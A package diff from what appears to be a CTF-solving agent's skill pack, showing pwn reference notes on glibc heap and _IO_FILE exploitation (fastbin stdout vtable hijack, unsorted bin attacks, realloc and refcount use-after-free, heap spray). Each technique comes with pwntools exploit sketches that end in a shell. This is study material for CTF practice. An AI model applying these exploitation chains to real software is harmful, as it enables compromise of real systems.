ctf-agent 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (152) hide show
  1. package/AGENTS.md +131 -0
  2. package/Dockerfile +192 -0
  3. package/README.md +522 -0
  4. package/agents/ctf-analyzer.md +58 -0
  5. package/agents/ctf-controller.md +151 -0
  6. package/agents/ctf-speedrun.md +74 -0
  7. package/bin/ctf-agent.js +119 -0
  8. package/docker-compose.yml +13 -0
  9. package/mcp_config.json +19 -0
  10. package/package.json +44 -0
  11. package/references/ctf-triage-ladder.md +68 -0
  12. package/references/exploit-databases.md +575 -0
  13. package/references/llm-safety-and-policy-compliance.md +173 -0
  14. package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
  15. package/references/security-events-and-intelligence.md +566 -0
  16. package/references/version-matrix.md +59 -0
  17. package/rules/ctf-execution-rules.md +44 -0
  18. package/rules/ctf-safety-framing-rules.md +140 -0
  19. package/rules/flag-validation-rules.md +25 -0
  20. package/scripts/__init__.py +1 -0
  21. package/scripts/ctf-tools.lock +205 -0
  22. package/scripts/ctf_init.py +1026 -0
  23. package/scripts/ctf_update.py +583 -0
  24. package/scripts/ctfd_client.py +81 -0
  25. package/scripts/cve_lookup.py +453 -0
  26. package/scripts/extract_flags.py +155 -0
  27. package/scripts/install_as_agent.py +278 -0
  28. package/scripts/install_ctf_tools.sh +603 -0
  29. package/scripts/parallel_triage.py +395 -0
  30. package/scripts/prompt_policy_sanitizer.py +283 -0
  31. package/scripts/scope_guard.py +444 -0
  32. package/scripts/skill_validator.py +504 -0
  33. package/scripts/workspace_cleaner.py +141 -0
  34. package/skills/ctf-ai-ml/SKILL.md +120 -0
  35. package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
  36. package/skills/ctf-ai-ml/llm-attacks.md +487 -0
  37. package/skills/ctf-ai-ml/model-attacks.md +422 -0
  38. package/skills/ctf-crypto/SKILL.md +320 -0
  39. package/skills/ctf-crypto/advanced-math.md +798 -0
  40. package/skills/ctf-crypto/classic-ciphers.md +651 -0
  41. package/skills/ctf-crypto/ecc-attacks.md +347 -0
  42. package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
  43. package/skills/ctf-crypto/exotic-crypto.md +528 -0
  44. package/skills/ctf-crypto/historical.md +113 -0
  45. package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
  46. package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
  47. package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
  48. package/skills/ctf-crypto/modern-ciphers.md +649 -0
  49. package/skills/ctf-crypto/prng-attacks.md +257 -0
  50. package/skills/ctf-crypto/prng.md +664 -0
  51. package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
  52. package/skills/ctf-crypto/rsa-attacks.md +487 -0
  53. package/skills/ctf-crypto/stream-ciphers.md +390 -0
  54. package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
  55. package/skills/ctf-forensics/3d-printing.md +121 -0
  56. package/skills/ctf-forensics/SKILL.md +379 -0
  57. package/skills/ctf-forensics/disk-advanced.md +497 -0
  58. package/skills/ctf-forensics/disk-and-memory.md +491 -0
  59. package/skills/ctf-forensics/disk-recovery.md +699 -0
  60. package/skills/ctf-forensics/linux-forensics.md +511 -0
  61. package/skills/ctf-forensics/network-advanced.md +583 -0
  62. package/skills/ctf-forensics/network.md +645 -0
  63. package/skills/ctf-forensics/peripheral-capture.md +287 -0
  64. package/skills/ctf-forensics/signals-and-hardware.md +713 -0
  65. package/skills/ctf-forensics/steganography.md +694 -0
  66. package/skills/ctf-forensics/stego-advanced-2.md +475 -0
  67. package/skills/ctf-forensics/stego-advanced.md +481 -0
  68. package/skills/ctf-forensics/stego-image.md +691 -0
  69. package/skills/ctf-forensics/windows.md +625 -0
  70. package/skills/ctf-malware/SKILL.md +181 -0
  71. package/skills/ctf-malware/c2-and-protocols.md +274 -0
  72. package/skills/ctf-malware/pe-and-dotnet.md +108 -0
  73. package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
  74. package/skills/ctf-misc/SKILL.md +498 -0
  75. package/skills/ctf-misc/bashjails.md +323 -0
  76. package/skills/ctf-misc/ctfd-navigation.md +465 -0
  77. package/skills/ctf-misc/dns.md +255 -0
  78. package/skills/ctf-misc/encodings-advanced.md +504 -0
  79. package/skills/ctf-misc/encodings.md +431 -0
  80. package/skills/ctf-misc/games-and-vms-2.md +254 -0
  81. package/skills/ctf-misc/games-and-vms-3.md +690 -0
  82. package/skills/ctf-misc/games-and-vms-4.md +229 -0
  83. package/skills/ctf-misc/games-and-vms.md +529 -0
  84. package/skills/ctf-misc/linux-privesc.md +333 -0
  85. package/skills/ctf-misc/pyjails.md +671 -0
  86. package/skills/ctf-misc/rf-sdr.md +91 -0
  87. package/skills/ctf-osint/SKILL.md +198 -0
  88. package/skills/ctf-osint/geolocation-and-media.md +464 -0
  89. package/skills/ctf-osint/social-media.md +312 -0
  90. package/skills/ctf-osint/web-and-dns.md +341 -0
  91. package/skills/ctf-pwn/SKILL.md +214 -0
  92. package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
  93. package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
  94. package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
  95. package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
  96. package/skills/ctf-pwn/advanced-exploits.md +773 -0
  97. package/skills/ctf-pwn/advanced.md +326 -0
  98. package/skills/ctf-pwn/field-notes.md +245 -0
  99. package/skills/ctf-pwn/format-string.md +694 -0
  100. package/skills/ctf-pwn/heap-fsop.md +285 -0
  101. package/skills/ctf-pwn/heap-techniques-2.md +333 -0
  102. package/skills/ctf-pwn/heap-techniques.md +513 -0
  103. package/skills/ctf-pwn/kernel-bypass.md +421 -0
  104. package/skills/ctf-pwn/kernel-techniques.md +366 -0
  105. package/skills/ctf-pwn/kernel.md +636 -0
  106. package/skills/ctf-pwn/overflow-basics.md +611 -0
  107. package/skills/ctf-pwn/rop-advanced.md +725 -0
  108. package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
  109. package/skills/ctf-pwn/sandbox-escape.md +313 -0
  110. package/skills/ctf-reverse/SKILL.md +163 -0
  111. package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
  112. package/skills/ctf-reverse/anti-analysis.md +693 -0
  113. package/skills/ctf-reverse/field-notes.md +376 -0
  114. package/skills/ctf-reverse/languages-compiled.md +666 -0
  115. package/skills/ctf-reverse/languages-platforms.md +592 -0
  116. package/skills/ctf-reverse/languages.md +553 -0
  117. package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
  118. package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
  119. package/skills/ctf-reverse/patterns-ctf.md +670 -0
  120. package/skills/ctf-reverse/patterns-runtime.md +274 -0
  121. package/skills/ctf-reverse/patterns.md +572 -0
  122. package/skills/ctf-reverse/platforms-hardware.md +387 -0
  123. package/skills/ctf-reverse/platforms.md +664 -0
  124. package/skills/ctf-reverse/tools-advanced-2.md +421 -0
  125. package/skills/ctf-reverse/tools-advanced.md +407 -0
  126. package/skills/ctf-reverse/tools-dynamic.md +679 -0
  127. package/skills/ctf-reverse/tools-emulation.md +319 -0
  128. package/skills/ctf-reverse/tools.md +573 -0
  129. package/skills/ctf-web/SKILL.md +153 -0
  130. package/skills/ctf-web/auth-and-access-2.md +82 -0
  131. package/skills/ctf-web/auth-and-access.md +783 -0
  132. package/skills/ctf-web/auth-infra.md +321 -0
  133. package/skills/ctf-web/auth-jwt.md +186 -0
  134. package/skills/ctf-web/client-side-advanced.md +739 -0
  135. package/skills/ctf-web/client-side.md +529 -0
  136. package/skills/ctf-web/cves.md +373 -0
  137. package/skills/ctf-web/field-notes.md +482 -0
  138. package/skills/ctf-web/node-and-prototype.md +200 -0
  139. package/skills/ctf-web/server-side-2.md +337 -0
  140. package/skills/ctf-web/server-side-advanced-2.md +559 -0
  141. package/skills/ctf-web/server-side-advanced-3.md +125 -0
  142. package/skills/ctf-web/server-side-advanced-4.md +480 -0
  143. package/skills/ctf-web/server-side-advanced.md +378 -0
  144. package/skills/ctf-web/server-side-deser.md +443 -0
  145. package/skills/ctf-web/server-side-exec-2.md +799 -0
  146. package/skills/ctf-web/server-side-exec.md +457 -0
  147. package/skills/ctf-web/server-side.md +629 -0
  148. package/skills/ctf-web/sql-injection.md +790 -0
  149. package/skills/ctf-web/web3.md +374 -0
  150. package/skills/ctf-writeup/SKILL.md +90 -0
  151. package/skills/solve-challenge/SKILL.md +269 -0
  152. package/skills.json +16 -0
@@ -0,0 +1,285 @@
1
+ # CTF Pwn - Heap FILE Structure Attacks
2
+
3
+ > [!WARNING]
4
+ > **LEGACY ENVIRONMENT NOTICE (glibc <= 2.27)**:
5
+ > This document details historical FSOP techniques (2016-2018) targeting glibc 2.23 - 2.27 using `__free_hook` or `_IO_str_jumps`.
6
+ > - **If target runs glibc >= 2.34 (Ubuntu 22.04/24.04+)**: `__free_hook` has been completely eliminated! You **MUST** switch to [heap-techniques.md](heap-techniques.md#house-of-apple-2--fsop-for-glibc-234-0xfun-2026) to utilize **House of Apple 2** (`_IO_wfile_overflow`).
7
+ > - For additional FSOP chains and modern PoCs: refer to [exploit-databases.md](../../references/exploit-databases.md).
8
+
9
+ FILE-structure (_IO_FILE) exploitation for libc 2.23-2.27+: fastbin→stdout vtable hijack, _IO_buf_base null byte overwrites, glibc 2.24+ vtable validation bypass, unsorted-bin attacks on FILE fields, and menu-driven UAF / refcount bugs that land through these FILE primitives. For classical heap attacks (House of *, unlink, tcache, musl), see [heap-techniques.md](heap-techniques.md).
10
+
11
+ ## Table of Contents
12
+ - [Fastbin stdout Vtable Two-Stage Hijack for PIE + Full RELRO (ASIS CTF 2017)](#fastbin-stdout-vtable-two-stage-hijack-for-pie--full-relro-asis-ctf-2017)
13
+ - [_IO_buf_base Null Byte Overwrite for stdin Hijack (Tokyo Westerns 2017)](#_io_buf_base-null-byte-overwrite-for-stdin-hijack-tokyo-westerns-2017)
14
+ - [glibc 2.24+ _IO_FILE Vtable Validation Bypass (HITCON 2017)](#glibc-224-_io_file-vtable-validation-bypass-hitcon-2017)
15
+ - [Unsorted Bin Attack on stdin _IO_buf_end (HITCON 2017)](#unsorted-bin-attack-on-stdin-_io_buf_end-hitcon-2017)
16
+ - [Unsorted Bin Corruption via mp_ Structure (HITCON 2017)](#unsorted-bin-corruption-via-mp_-structure-hitcon-2017)
17
+ - [realloc(ptr, 0) as free() for UAF (AceBear 2018)](#reallocptr-0-as-free-for-uaf-acebear-2018)
18
+ - [Single-Byte Reference Counter Wraparound to UAF (WhiteHat Grand Prix 2018)](#single-byte-reference-counter-wraparound-to-uaf-whitehat-grand-prix-2018)
19
+
20
+ ---
21
+
22
+ ## Fastbin stdout Vtable Two-Stage Hijack for PIE + Full RELRO (ASIS CTF 2017)
23
+
24
+ **Pattern:** When PIE and Full RELRO block GOT overwrite, target libc's stdout FILE structure via fastbin attack, using a two-stage vtable hijack.
25
+
26
+ ```python
27
+ from pwn import *
28
+
29
+ # Stage 1: Fastbin double-free targeting fake chunk inside stdout
30
+ # Use 0x7f byte in libc stdout region as fake chunk size (matches 0x70 fastbin)
31
+ fake_chunk_addr = libc.sym['_IO_2_1_stdout_'] + 0x91 # contains 0x7f byte
32
+
33
+ # Double-free in 0x70 fastbin
34
+ alloc_a = malloc(0x60)
35
+ alloc_b = malloc(0x60)
36
+ free(alloc_a)
37
+ free(alloc_b)
38
+ free(alloc_a) # double-free: fastbin 0x70 = [a -> b -> a]
39
+
40
+ # Redirect fastbin to stdout region
41
+ malloc(0x60, p64(fake_chunk_addr)) # a's fd -> fake chunk in stdout
42
+ malloc(0x60) # returns b
43
+ malloc(0x60) # returns a again
44
+
45
+ # Stage 2a: First vtable overwrite → gets()
46
+ # rdi points to stdout struct, so gets(stdout) reads input into stdout
47
+ fake_stdout_chunk = malloc(0x60) # returns fake chunk overlapping stdout
48
+ write_to(fake_stdout_chunk, p64(gets_addr)) # vtable → gets
49
+
50
+ # Stage 2b: gets() overwrites stdout vtable again → system()
51
+ # Next puts() call triggers: vtable lookup → gets(stdout)
52
+ # gets() reads from stdin into the stdout struct, overwriting vtable again
53
+ # Input: "1\x80;/bin/sh;" — new vtable points to system()
54
+ # After gets() returns, next output call triggers system()
55
+ ```
56
+
57
+ **Key insight:** The 0x7f byte naturally present in libc's stdout region satisfies fastbin size validation for the 0x70 bin. Two-stage hijack: first redirect vtable to `gets()` (since rdi=stdout FILE*), then `gets()` reads a second vtable pointing to `system()` along with the command string. This technique works even with PIE + Full RELRO because it targets libc's writable data segment, not the GOT.
58
+
59
+ **When to recognize:** Challenge has PIE + Full RELRO, with a heap UAF or double-free. The 0x7f byte in libc's FILE structures is a universal fastbin target. Check `_IO_2_1_stdout_` region for 0x7f bytes at aligned offsets suitable as fake chunk sizes.
60
+
61
+ **References:** ASIS CTF 2017
62
+
63
+ ---
64
+
65
+ ## _IO_buf_base Null Byte Overwrite for stdin Hijack (Tokyo Westerns 2017)
66
+
67
+ **Pattern:** A null-byte (off-by-one) heap overflow corrupts the least significant byte of `_IO_buf_base` in stdin's `_IO_FILE` structure. This redirects the stdin input buffer pointer to `_short_buf` — a small internal buffer that lies within the FILE struct itself. Subsequent `scanf`/`fgets` calls then write attacker input directly into the FILE structure, enabling overwrite of `_IO_buf_base`/`_IO_buf_end` to arbitrary addresses for a full write primitive.
68
+
69
+ **How it works:**
70
+ ```c
71
+ // Null byte overwrite targets _IO_buf_base's LSB
72
+ // Before: _IO_buf_base = 0x7f...XX00 (points to heap input buffer)
73
+ // After: _IO_buf_base = 0x7f...0000 (points into FILE struct itself,
74
+ // landing near _short_buf)
75
+ // Next scanf() / fgets() reads input into the FILE struct
76
+ // Overwrite _IO_buf_base/_IO_buf_end fields with arbitrary addresses
77
+ // Now stdin reads from attacker-controlled memory address
78
+ ```
79
+
80
+ **Exploitation chain:**
81
+ ```python
82
+ # 1. Arrange heap: allocation immediately before stdin's _IO_buf_base
83
+ # (requires heap grooming so chunk is adjacent to FILE struct)
84
+
85
+ # 2. Null-byte overflow: write one 0x00 byte past chunk boundary
86
+ # → corrupts _IO_buf_base LSB → points into FILE struct
87
+
88
+ # 3. Next read (scanf/fgets): input written into FILE struct fields
89
+ # → overwrite _IO_buf_base = target_addr, _IO_buf_end = target_addr + size
90
+
91
+ # 4. Next read: stdin reads from target_addr → arbitrary write primitive
92
+ # → overwrite __free_hook with system() or one_gadget
93
+
94
+ # 5. Trigger: call a function that invokes free() with a controlled pointer
95
+ # → system("/bin/sh")
96
+ ```
97
+
98
+ **Key insight:** Null-byte overflow into stdin's `_IO_buf_base` relocates the input buffer into the FILE structure itself, providing arbitrary write via standard I/O functions. The `_short_buf` field within the FILE struct is the natural landing target when the LSB is zeroed.
99
+
100
+ **References:** Tokyo Westerns CTF 2017
101
+
102
+ ---
103
+
104
+ ## glibc 2.24+ _IO_FILE Vtable Validation Bypass (HITCON 2017)
105
+
106
+ **Pattern:** glibc 2.24+ validates vtable pointers against the `_IO_vtables` section, rejecting pointers outside that range. Bypass: use unchecked sub-function entries reachable via two-hop dereference. Arrange two heap pointers 0x10 bytes apart (via unsorted bin fd/bk). The first pointer is set to `valid_vtable_addr - 0x18`; the second to `system()`. `_IO_flush_all_lockp` dereferences `*(addr + 0xd8) + 0x18`, landing in an unchecked sub-function that calls `*(addr + 0xe8)`.
107
+
108
+ **How the two-hop bypass works:**
109
+ ```c
110
+ // _IO_flush_all_lockp calls:
111
+ // fp->vtable->_IO_overflow(fp)
112
+ // With a valid vtable addr but offset trick:
113
+ // vtable[offset] → points to sub-function outside vtable validation
114
+ // sub-function dereferences further → calls system()
115
+
116
+ // Heap layout using unsorted bin fd/bk (0x10 apart):
117
+ // [heap + 0x00]: valid_vtable_addr - 0x18 (passes vtable check at offset 0xd8)
118
+ // [heap + 0x10]: system() (called via *(addr + 0xe8) dereference)
119
+ ```
120
+
121
+ **Setup:**
122
+ ```python
123
+ # Place two pointers 0x10 apart using unsorted bin fd/bk as write targets
124
+ # unsorted bin attack: write main_arena+88 to target, leak heap/libc
125
+ # Craft FILE struct with _flags = " sh\x00" for system() argument
126
+ # Trigger exit() → _IO_flush_all_lockp → two-hop call → system("sh")
127
+ ```
128
+
129
+ **Key insight:** Vtable validation checks the address range but not indirect entries reachable via sub-functions — two-hop call chains bypass `__IO_vtable_check`. The fd/bk pointers of a chunk in the unsorted bin sit exactly 0x10 bytes apart, making them natural targets for the two adjacent pointer slots needed.
130
+
131
+ **References:** HITCON CTF 2017
132
+
133
+ ---
134
+
135
+ ## Unsorted Bin Attack on stdin _IO_buf_end (HITCON 2017)
136
+
137
+ **Pattern:** An off-by-one NULL byte creates overlapping heap chunks. Free into the unsorted bin, then use the unsorted bin attack (corrupting `bk` of an unsorted bin chunk) to overwrite `_IO_buf_end` of stdin's FILE structure with a large libc address (main_arena+88). The next `scanf` call then reads attacker data into libc's stdin buffer region — enabling overwrite of `__malloc_hook` with a one_gadget.
138
+
139
+ **Exploit chain:**
140
+ ```python
141
+ # 1. Off-by-one NULL: corrupt next chunk's PREV_INUSE, set prev_size
142
+ # → create overlapping chunks via heap consolidation
143
+
144
+ # 2. Free victim into unsorted bin
145
+ # → victim->fd = main_arena+88, victim->bk = main_arena+96
146
+
147
+ # 3. Unsorted bin attack: set victim->bk = &stdin._IO_buf_end - 0x10
148
+ # When malloc() removes victim from unsorted bin:
149
+ # → victim->bk->fd = victim (writes heap address → _IO_buf_end)
150
+ # But for full attack: set bk = &target - 0x10 to write main_arena+88 there
151
+
152
+ # 4. stdin._IO_buf_end is now a large value → next scanf reads huge input
153
+ # → attacker data written into libc stdin buffer region
154
+ # → __malloc_hook in that region gets overwritten with one_gadget
155
+
156
+ # 5. Trigger: any malloc() call → __malloc_hook → one_gadget → shell
157
+ ```
158
+
159
+ **Key insight:** Unsorted bin attack on `_IO_buf_end` causes `scanf` to read from an attacker-controlled buffer region inside libc's data segment. Since `__malloc_hook` resides near the stdin buffer in libc, a single large read can overwrite it with a one_gadget address.
160
+
161
+ **References:** HITCON CTF 2017
162
+
163
+ ---
164
+
165
+ ## Unsorted Bin Corruption via mp_ Structure (HITCON 2017)
166
+
167
+ **Pattern:** glibc's `mp_` (`malloc_par`) global structure lies near the unsorted bin in libc's data segment. A heap overflow combined with unsorted bin corruption overwrites `mp_->bk` with an address inside `mp_`. The `mp_` structure contains fields that, when interpreted as a free chunk header, pass unsorted bin validation (`size < system_mem`). Allocating from this "chunk" grants write access inside `mp_`, enabling overwrite of `__malloc_hook`. Requires partial ASLR brute-force (1/16 chance) for the heap address alignment.
168
+
169
+ **Why mp_ works:**
170
+ ```c
171
+ // mp_ layout (glibc 2.23, near unsorted bin in libc BSS):
172
+ // struct malloc_par {
173
+ // unsigned long trim_threshold; // offset 0x00 — large value, passes size check
174
+ // unsigned long top_pad; // offset 0x08
175
+ // ...
176
+ // unsigned long system_mem; // offset 0x48 — must be > fake chunk size
177
+ // };
178
+ // mp_.trim_threshold interpreted as chunk size → satisfies unsorted bin checks
179
+ // malloc from mp_-as-chunk returns memory overlapping mp_ fields
180
+ // Write __malloc_hook offset within mp_ → control next malloc → one_gadget
181
+ ```
182
+
183
+ **Exploitation:**
184
+ ```python
185
+ # Heap overflow: corrupt unsorted bin chunk's bk to point into mp_
186
+ corrupted_bk = mp_addr + FAKE_CHUNK_OFFSET # offset where size field looks valid
187
+
188
+ # Trigger unsorted bin traversal: malloc() of appropriate size
189
+ # → unsorted bin unlinks fake chunk at mp_
190
+ # → returns pointer into mp_ data
191
+ # Write one_gadget to __malloc_hook offset within returned chunk
192
+ malloc(size) # returns mp_+0x10
193
+ write_to_result(one_gadget) # overwrites __malloc_hook
194
+
195
+ # Trigger: next malloc() → __malloc_hook → one_gadget → shell
196
+ ```
197
+
198
+ **Key insight:** glibc's `mp_` global structure passes unsorted bin validation naturally — its `trim_threshold` field serves as a convincing fake chunk size. A fake free chunk planted via unsorted bin corruption there enables allocation directly into glibc metadata, bypassing the need for any heap-side fake chunk construction.
199
+
200
+ **References:** HITCON CTF 2017
201
+
202
+ ---
203
+
204
+ ## realloc(ptr, 0) as free() for UAF (AceBear 2018)
205
+
206
+ **Pattern:** `realloc(ptr, 0)` behaves like `free(ptr)` in many glibc versions, returning the chunk to the freelist while the application may retain the old pointer — creating a use-after-free.
207
+
208
+ **How it works:**
209
+ ```c
210
+ // C standard says realloc(ptr, 0) is implementation-defined
211
+ // In glibc: realloc(ptr, 0) calls free(ptr) and returns NULL
212
+ // If the application doesn't check the return value:
213
+ void *ptr = malloc(0x80);
214
+ ptr = realloc(ptr, 0); // ptr is now NULL, chunk is freed
215
+ // But if the app stores the old pointer separately:
216
+ void *saved = ptr;
217
+ ptr = realloc(ptr, 0); // freed, but saved still points to freed chunk
218
+ // saved is now a dangling pointer → UAF
219
+ ```
220
+
221
+ **Exploitation:**
222
+ ```python
223
+ from pwn import *
224
+
225
+ # Step 1: Allocate a chunk
226
+ add(0, 0x80, b"AAAA") # chunk at index 0
227
+
228
+ # Step 2: Trigger realloc with size 0
229
+ # Internally calls realloc(ptr, 0) which frees the chunk
230
+ edit(0, size=0) # realloc(ptr, 0) = free(ptr)
231
+ # ptr is now freed but the application still holds the pointer at index 0
232
+
233
+ # Step 3: Allocate new chunk that reuses the freed memory
234
+ add(1, 0x80, b"BBBB") # gets the same address as freed chunk
235
+
236
+ # Step 4: Read through original index 0 → reads attacker-controlled data from index 1
237
+ # Or: write through index 0 to corrupt index 1's chunk
238
+ view(0) # UAF read — sees "BBBB" written by index 1
239
+ ```
240
+
241
+ **Tcache variant (glibc 2.26+):**
242
+ ```python
243
+ # realloc(ptr, 0) puts the chunk in the tcache bin
244
+ # Subsequent malloc of the same size returns the same chunk
245
+ # Double reference enables tcache poisoning:
246
+
247
+ add(0, 0x80, b"AAAA")
248
+ edit(0, size=0) # free via realloc → tcache[0x90]
249
+ add(1, 0x80, p64(target)) # reuse freed chunk, write fake fd pointer
250
+ # If index 0 still references the chunk:
251
+ edit(0, size=0) # double-free via realloc → tcache poisoning
252
+ add(2, 0x80, b"CCCC") # returns freed chunk
253
+ add(3, 0x80, payload) # returns target address → arbitrary write
254
+ ```
255
+
256
+ **Key insight:** `realloc(ptr, 0)` is implementation-defined. In glibc, it frees the block and returns NULL. If the application doesn't check the return value or still uses the old pointer, this creates a UAF. Look for `realloc` calls where the size parameter is user-controlled — setting it to 0 triggers the free behavior without going through the application's normal delete/free path, potentially bypassing reference counting or pointer nullification in the delete handler.
257
+
258
+ **When to recognize:** Challenge uses `realloc` for resize operations and the size is user-controlled. The "edit" or "resize" functionality internally calls `realloc` — check if size=0 is handled specially or just passed through. Also check if the return value of `realloc` is used to update the stored pointer (if not, the old pointer becomes dangling).
259
+
260
+ **References:** AceBear 2018
261
+
262
+ ---
263
+
264
+ ## Single-Byte Reference Counter Wraparound to UAF (WhiteHat Grand Prix 2018)
265
+
266
+ **Pattern:** A struct stores its own reference count in a `uint8_t` field. The object is freed only when `refcount == 0`, but because the counter wraps at 256, calling the `addref()` path 256 times brings `refcount` back to zero while every outstanding handle still holds a live pointer. The next call to `release()` frees the object — all other handles become dangling.
267
+
268
+ **Exploit sketch:**
269
+ ```c
270
+ struct Book {
271
+ uint8_t refcount; // 1 byte — vulnerable
272
+ char title[32];
273
+ void (*read)(struct Book*);
274
+ };
275
+
276
+ // 1. create(h0) refcount = 1
277
+ // 2. dup(h0) → h1 ... h256 refcount wraps 1 → 2 → ... → 0
278
+ // 3. release(h1) refcount = 255 (underflow) → object freed
279
+ // 4. Heap reallocation fills the same chunk with attacker data
280
+ // 5. read(h0) calls attacker-controlled vtable pointer
281
+ ```
282
+
283
+ **Key insight:** Any counter that guards lifetime must be wide enough to exceed the number of handles the program can create in one session. `uint8_t` refcounts are always a red flag — verify that the `addref` path either saturates (stays at 255) or uses a wider type. The exploit only needs 256 `addref` calls and one extra `release`, so even heavily rate-limited handle APIs remain reachable.
284
+
285
+ **References:** WhiteHat Grand Prix 2018 — writeup 10809
@@ -0,0 +1,333 @@
1
+ # Heap Exploitation Techniques (Part 2)
2
+
3
+ Continuation of [heap-techniques.md](heap-techniques.md). Part 2 collects CTF-specific UAF, tcache, and custom-allocator variants drawn from individual writeups.
4
+
5
+ ## Table of Contents
6
+ - [UAF Vtable Pointer Encoding Shell Argument (BCTF 2017)](#uaf-vtable-pointer-encoding-shell-argument-bctf-2017)
7
+ - [Uninitialized Chunk Residue Pointer Leak (picoCTF 2018)](#uninitialized-chunk-residue-pointer-leak-picoctf-2018)
8
+ - [tcache strcpy Null-Byte Overflow + Backward Consolidation (HITCON 2018)](#tcache-strcpy-null-byte-overflow--backward-consolidation-hitcon-2018)
9
+ - [Adjacent-Struct fn-Pointer Overflow for Libc Leak + GOT Overwrite (RITSEC 2018)](#adjacent-struct-fn-pointer-overflow-for-libc-leak--got-overwrite-ritsec-2018)
10
+ - [Hidden Menu Option 1337 for Tcache Poisoning (FireShell 2019)](#hidden-menu-option-1337-for-tcache-poisoning-fireshell-2019)
11
+ - [Tcache Double-Free + Fake _IO_FILE Vtable Stdout Hijack (BCTF 2018)](#tcache-double-free--fake-_io_file-vtable-stdout-hijack-bctf-2018)
12
+ - [Tcache-to-Fastbin Promotion Cross-Bin Attack (BCTF 2018)](#tcache-to-fastbin-promotion-cross-bin-attack-bctf-2018)
13
+ - [6-Bit Index OOB + written_bytes Accumulator for Fn-Pointer Increment (Codegate 2019)](#6-bit-index-oob--written_bytes-accumulator-for-fn-pointer-increment-codegate-2019)
14
+ - [IS_MMAPED Bit-Flip for Unsorted Bin Leak on Calloc'd Chunk (0CTF 2017)](#is_mmaped-bit-flip-for-unsorted-bin-leak-on-callocd-chunk-0ctf-2017)
15
+ - [Filename-Regex-Constrained Fastbin via LSB-Only Heap Pointer Overwrite (BSidesSF 2019)](#filename-regex-constrained-fastbin-via-lsb-only-heap-pointer-overwrite-bsidessf-2019)
16
+ - [Custom Allocator Unsafe Unlink to GOT (DEF CON Qualifier 2014)](#custom-allocator-unsafe-unlink-to-got-def-con-qualifier-2014)
17
+
18
+ For FILE-structure (_IO_FILE) exploitation see [heap-fsop.md](heap-fsop.md). For the foundational houses (Apple 2, Einherjar, Orange, Spirit, Lore, Force), unsafe unlink, tcache stashing, and musl, see [heap-techniques.md](heap-techniques.md).
19
+
20
+ ---
21
+
22
+ ## UAF Vtable Pointer Encoding Shell Argument (BCTF 2017)
23
+
24
+ **Pattern:** After UAF, heap spray fills memory with `system()` addresses at a 3-byte offset. The vtable pointer address `0x??006873` encodes ASCII `"sh\x00"` at the object start, so calling `system()` through the vtable executes `system("sh")`.
25
+
26
+ ```python
27
+ from pwn import *
28
+
29
+ # Heap spray: fill 16MB with system() address at offset +3
30
+ # Each spray chunk: 3 bytes padding + 8 bytes system_addr, repeated
31
+ spray_unit = b"\x00" * 3 + p64(system_addr)
32
+ spray_data = spray_unit * (0x1000000 // len(spray_unit))
33
+
34
+ # Trigger heap spray via application interface
35
+ for i in range(spray_count):
36
+ alloc(spray_data[:chunk_size])
37
+
38
+ # UAF object at address 0xXX006873
39
+ # Bytes at object start: 73 68 00 XX = "sh\x00..."
40
+ # When vtable call dispatches: system(this) → system("sh")
41
+
42
+ # Trigger: free the target object, then invoke its virtual method
43
+ free(target_obj)
44
+ trigger_vtable_call(target_obj) # calls system("sh")
45
+ ```
46
+
47
+ **Key insight:** The vtable pointer value itself serves as the string argument to `system()`. By arranging the heap spray so objects land at addresses containing `0x6873` (ASCII "sh") in the low bytes, the object's address doubles as a valid shell command string. This eliminates the need for a separate controlled string — the pointer IS the argument.
48
+
49
+ **When to recognize:** UAF on a C++ object with virtual methods, where you control heap layout but not the exact content at the object's `this` pointer. If `system()` is called with `this` as the first argument (common in vtable dispatch), the object's address just needs to decode as a valid command string.
50
+
51
+ **References:** BCTF 2017
52
+
53
+ See [heap-fsop.md](heap-fsop.md) for FILE-structure (_IO_FILE) exploitation: fastbin stdout vtable hijack, _IO_buf_base null-byte overwrite, glibc 2.24+ vtable validation bypass, unsorted-bin attacks on stdin FILE fields, and related UAF/refcount bugs.
54
+
55
+ ---
56
+
57
+ ## Uninitialized Chunk Residue Pointer Leak (picoCTF 2018)
58
+
59
+ **Pattern:** A contact manager allocates a struct `{name, bio}` on the heap but only writes `name`, leaving `bio` uninitialized. After a delete-then-create cycle the new allocation reuses a chunk that still holds a stale pointer from a previous contact. The application's `print_contact()` dereferences `bio`, turning the leftover allocator residue into a controlled heap/libc read.
60
+
61
+ ```c
62
+ struct contact { char *name; char *bio; }; // bio never zeroed
63
+
64
+ void create() {
65
+ struct contact *c = malloc(sizeof *c);
66
+ c->name = malloc(NAME_SZ);
67
+ read_line(c->name, NAME_SZ);
68
+ // bio left uninitialized!
69
+ }
70
+
71
+ void print(struct contact *c) { puts(c->bio); } // leaks stale pointer target
72
+ ```
73
+
74
+ ```python
75
+ from pwn import *
76
+ io = process("./contacts")
77
+
78
+ # 1. Prime the heap: create a contact whose name chunk will later be reused
79
+ # as the struct for the next contact.
80
+ io.sendline("create"); io.sendline("A" * 0x18)
81
+ io.sendline("delete 0")
82
+
83
+ # 2. Create a new contact — it grabs the previously freed chunk. The old
84
+ # name bytes now live in the struct's `bio` field.
85
+ io.sendline("create"); io.sendline("B" * 0x10)
86
+
87
+ # 3. Print → leaks the residue as if it were a bio string.
88
+ io.sendline("print 0")
89
+ leak = u64(io.recvline().ljust(8, b"\x00"))
90
+ log.success(f"heap leak: {leak:#x}")
91
+ ```
92
+
93
